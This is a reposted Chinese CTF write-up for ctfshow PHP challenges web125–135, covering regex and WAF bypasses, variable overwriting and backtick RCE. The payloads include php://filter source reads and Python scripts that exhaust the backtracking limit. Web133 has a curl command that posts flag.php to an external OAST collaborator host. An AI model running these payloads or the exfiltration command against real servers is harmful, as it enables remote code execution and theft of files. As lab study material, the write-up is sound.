iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >ctfshow php特性[125-135]
  • 958
分享到

ctfshow php特性[125-135]

网络安全安全学习Poweredby金山文档 2023-09-05 12:09:32 958人浏览 安东尼
摘要

😋 大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。 本人水平有限,欢迎各位大佬指点,一起学习 💗 ,一起进步 ⭐ 。 ⭐ 此后如竟没有炬火,我便

😋 大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。
本人水平有限,欢迎各位大佬指点,一起学习 💗 ,一起进步
此后如竟没有炬火,我便是唯一的光。

WEB 125

PHP  error_reporting(0);highlight_file(__FILE__);include("flag.php");$a=$_SERVER['argv'];$c=$_POST['fun'];if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){  if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){    eval("$c".";");    if($fl0g==="flag_give_me"){      echo $flag;    }  }}?>

var_dump()被过滤,但是还有var_export()函数,该函数与var_dump函数功能类似:

fun=var_export(get_defined_vars())&CTF_SHOW=1&CTF[SHOW.COM=1

web 126

上面的方法已经不能在使用了,这里本地测试这样一段代码:

 string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me"?>
之后再利用parse_str()函数将字符串解析到变量中;";echo $age;?>
//输出结果为:Peter
//43

最终的payload为:

get:a=1+fl0g=flag_give_me
post:fun=parse_str($a[1])&CTF_SHOW=1&CTF[ SHOW.COM =1

web 127

 ion waf($url){    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){        return true;    }else{        return false;    }}if(waf($url)){    die("嗯哼?");}else{    extract($_GET);}if($ctf_show==='ilove36d'){    echo $flag;} 

php在解析查询字符串的时候,他会做两件事情:

  • 将空白符删除掉

  • 将某些字符替换为下划线(某些字符包括:. [ + _ 以及空格

payload:ctf show=ilove36d

web 128

 

本题目考察的是gettext()函数,GET方式传递的参数f1会经过check函数的检测,不可以包含数字和字母,所以gettext函数就无法通过check函数的正则匹配;

gettext()函数的扩展---->_() 二者的效果是相同的;

需要在php.ini中,找到“extension=php_gettext.dll”,将前面的分号去掉:

测试代码:

可见二者的效果是相同的!

f2可以使用get_defined_vars()函数,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

paylaod: f1=_&f2=get_defined_vars

web 129

0){        echo readfile($f);    }} 

stripos():返回某一个字符串在另一个字符串中首次出现的位置;第一个位置是0;

可以使用php://filter伪协议,将过滤器写为ctfshow,无效就会被忽略,直接输出源码

f=php://filter/ctfshow/resource=flag.php

web 130

在题目链接处,有一个提示:

先分析代码中的if条件:

  1. preg_match():其中的‘.’代表着匹配前面的单个字符,‘+’代表匹配一次或者是多次,‘+?’代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*ctfshow,*代表任意字符,就会返回true)

  1. stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE

因此这里就存在两种方法:

  1. 直接传参值为:ctfshow

  1. 传递数组f[]=1

看大佬的wp还有一种方法就是题目提示的方法,利用回溯限制,当回溯的次数超过了25w的时候,使得preg_match函数返回false,从而绕过preg_match函数:

import requestsurl = 'Http://d85be3be-8a0c-43e5-bb50-72ee96382dac.challenge.ctf.show/'data={    'f':'very'*250000+'ctfshow'}r = requests.post(url=url,data=data).textprint(r)

web 131

上面的两种方法都不能用了,只能用回溯的方法:

import requestsurl = 'http://560daf29-37f2-4477-ab88-20b8a8976876.challenge.ctf.show/'data = {    'f':'very'*250000+'36Dctfshow'}r = requests.post(url=url,data=data).textprint(r)

web 132

来到界面,尝试点了点链接,没什么发现:

尝试访问了robots.txt:

尝试访问,成功发现题目所在地:

Word']) && isset($_GET['code'])){    $username = (String)$_GET['username'];    $password = (String)$_GET['password'];    $code = (String)$_GET['code'];    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){                if($code == 'admin'){            echo $flag;        }            }} 
  1. 在第二个if中发现存在&&和||,要知道&&的优先级是高于||的,因此$code === mt_rand(1,0x36D) 如果为假,后面的 $password === $flag是不会执行的!我们只需要让username=admin即可

  1. 第三个if需要让$code变量为admin,所以只需要让code再等于admin即可,password任意

web 133

限制长度且无回显的RCE:

 

这个题目涨姿势了;思路是利用变量覆盖实现rce:

?F=`$F`;+sleep 3

上面的payload看似超过了长度6,但是执行的时候,发现网页好像是延迟了3秒,思考一下原理:我们通过GET方式传递了F参数,值为`$F`;+sleep 3,通过substr()函数截取了前面的六位字符,然后通过eval()函数进行执行;也就是截取的`$F`;+ 通过eval()函数,将eval函数中的内容当作是php代码进行执行;``符号其实就是shell_exec函数,进行命令执行。相当于执行的就是变量F的内容。

那么变量F的内容是什么?就是我们传递的`$F`;+sleep 3 最终`$F`----->``$F;+sleep 3成功突破长度的限制;

总结来说就是+号后面都是我们可控的!

接下来就是通过curl来带出flag.php

curl是一种命令行工具,作用是发出网络请求,然后获取数据,显示在”标准输出“上。

curl -f将flag文件上传到Brup Suite的Collaborator Client(类似于DNSLOG),其功能要比DNSLOG强大,主要体现在可以查看POST请求以及打Cookies

  • 查看网页源码:直接在curl命令后面加上网址 例如curl www.baidu.com

  • 如果要把这个网页保存下来,可以使用-o参数 例如curl -o 【文件名】 www.baidu.com

  • 发送表单信息:

  1. GET方式相对简单,只要把数据附在网址后面就行

  1. POST方式必须要把数据和网址分开,curl就要用到--data或者是-d参数;例如 curl -X POST --data "data=xxx" www.xxx.com (不加-X默认是GET方式 -X可以指定请求方式)

//payload:?F=`$F`;+curl -X POST -F xx=@flag.php http://gk4ubl6jnzii6pmkgmvyvmhxsoyfm4.oastify.com

其中-X 指定请求方式POST

-F 为带文件的形式发送POST请求

xx是上传文件的name值,flag.php就是上传的文件

web 134

 

以GET方式传递_POST[a],就相当于post方式传递参数a

//构造payload:?_POST[key1]=36d&_POST[key2]=36d

查看源码拿到flag

web 135

ail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){        eval(substr($F,0,6));    }else{        die("师傅们居然破解了前面的,那就来一个加强版吧");    }} 

在133,通过使用命令行工具curl实现,但是在135会发现,正则匹配中存在着curl;

但是没有过滤nl cp mv等命令;

?F=`$F`;+cp flag.php flag.txt?F=`$F`;+mv flag.php flag.txt?F=`$F`;+nl f*>flag.txt

来源地址:https://blog.csdn.net/weixin_44770698/article/details/128707261

--结束END--

本文标题: ctfshow php特性[125-135]

本文链接: https://www.lsjlt.com/news/395348.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • ctfshow php特性[125-135]
    😋 大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。 本人水平有限,欢迎各位大佬指点,一起学习 💗 ,一起进步 ⭐ 。 ⭐ 此后如竟没有炬火,我便...
    99+
    2023-09-05
    网络安全 安全 学习 Powered by 金山文档
  • CTFSHOW php 特性
    目录 web89 数组绕过正则 PHP preg_match() 函数 | 菜鸟教程  web90  ===的绕过 首先 我们输入一个 4476a 就可以绕过 第一个nonono 也可以使用浮点型 也可以使用进制 web91   了解正则...
    99+
    2023-09-01
    php
  • ctfshow web入门 php特性 web108-web112
    1.web108 strrev() 反转字符串 ...
    99+
    2023-09-09
    前端 php android
  • ctfshow web入门 php特性 web93-97
    1.web93 intval($num,0),0代表根据变量类型进行使用哪一种进制进行取整 可以使用8进制,正负数,小数点 payload: 010574 +4476.0 4476.0 2.web9...
    99+
    2023-09-03
    php 数学建模 开发语言 网络安全
  • Ctfshow web入门 PHP特性篇 web89-web151 全
    web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭… 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件。题目...
    99+
    2023-09-23
    php web安全
  • 云曦暑期学习第三周——ctfshow--php特性(89-104)
    目录 web89  preg_match函数 、数组 web90  intval()函数、强比较 web91  正则修饰符 web92  intval()函数、弱比较 web93  八进制、小数点 web94  strpos() 函数、小数...
    99+
    2023-09-17
    php android 开发语言
  • PHP中封装性的高级特性
    封装是面向对象编程中非常重要的一个概念,它通过将数据和行为封装在一个对象内部,从而实现了数据的隐藏和保护。PHP作为一门面向对象的语言,也提供了丰富的封装性的高级特性,本文将通过具体的代码示例来介绍这些特性。访问控制(Access Cont...
    99+
    2023-10-21
    PHP编程 封装性 高级特性
  • PHP和Python的基础特性
    本篇内容介绍了“PHP和Python的基础特性”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!我们都知道,PHP 是一种 HTML 内嵌式的语...
    99+
    2023-06-17
  • PHP的学习--Traits新特性
    自 PHP 5.4.0 起,PHP 实现了代码复用的一个方法,称为 traits。 Traits 是一种为类似 PHP 的单继承语言而准备的代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复...
    99+
    2023-08-31
    php 学习 开发语言 网络安全 linux
  • php类的特性有哪些
    PHP类具有以下特性:1. 封装性(Encapsulation):类可以将相关的属性和方法组合在一起,形成一个封装的单元。通过封装,...
    99+
    2023-09-13
    php
  • 深入理解PHP中的多态性特性
    多态性是面向对象程序设计中的重要概念之一,它允许不同对象使用同一个方法名称进行不同的操作。在PHP中,多态性通过继承和实现接口来实现。本文将深入探讨PHP中多态性的特性,并通过具体的代...
    99+
    2024-04-02
  • PHP 函数新特性的兼容性如何?
    PHP 函数新特性的兼容性 随着 PHP 版本的不断更新,新的函数特性也在不断增加,但在实际项目中使用这些特性时,需要注意其兼容性问题。本篇文章将探讨 PHP 函数新特性的兼容性,并提...
    99+
    2024-05-01
    php 函数兼容性
  • php的语言特性有哪些
    这篇文章主要介绍了php的语言特性有哪些的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇php的语言特性有哪些文章都会有所收获,下面我们一起来看看吧。PHP的语言特性:1、PHP语言可以运行与多种操作系统;2、P...
    99+
    2023-06-29
  • Web攻防--PHP特性&CTF考点
    本文分享的一些PHP代码的缺陷对比函数和CTF的一些考点 知识点: 过滤函数缺陷绕过 CTF考点与代码审计 例如:在PHP 语言中==与===(区别在于==不会对比类型===类型也会对比) 缺陷:两个等号的缺陷就是不唯一 下图是一个简易的代...
    99+
    2023-10-05
    php 开发语言 web安全 网络安全
  • PHP整合php7特性的方法
    这篇文章主要介绍PHP整合php7特性的方法,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!PHP7 已经出来1年了,PHP7.1也即将和大家见面,这么多好的特性,好的方法,为什么不使用呢,也希望PHP越来越好。 在...
    99+
    2023-06-14
  • PHP 7.4有哪些新增特性
    本篇文章为大家展示了PHP 7.4有哪些新增特性,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。性能提升,数组表达式中引入 Spread 运算符…自 PHP 5.6 起可用,参数解包是将数组和 Tra...
    99+
    2023-06-15
  • PHP的新增特性有哪些?
    php 的新特性包括:标量类型声明(提升代码可读性和维护性)、匿名类(方便创建一次性对象)、返回类型声明(静态分析和提高维护性)、空间船操作符(比较表达式值)、null 合并运算符(提供...
    99+
    2024-04-13
    php 新特性 代码可读性
  • php特性之intval学习小记
    前言 文章同步我的个人博客http://www.quan9i.top/,欢迎大家访问。 php特性的intval是一个比较常见的漏洞,今天就来比较全面的学习这个函数,将其简单的利用方式总结一下 函数学...
    99+
    2023-09-04
    php 学习 web安全
  • PHP高级特性如何使用
    这篇文章主要介绍“PHP高级特性如何使用”,在日常操作中,相信很多人在PHP高级特性如何使用问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”PHP高级特性如何使用”的疑惑有所帮助!接下来,请跟着小编一起来学习吧...
    99+
    2023-06-22
  • PHP特性之CTF中常见的PHP绕过
    目录 一、关于md5()和sha1()的常见绕过 1、使用数组绕过 2、 使用特殊字符串绕过 二、strcmp绕过 三、switch绕过 四、intval绕过 一、关于md5()和sha1()的常见绕过 知识介绍: 对于php强比较和弱...
    99+
    2023-08-31
    php PHP绕过 PHP特性 hash web
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作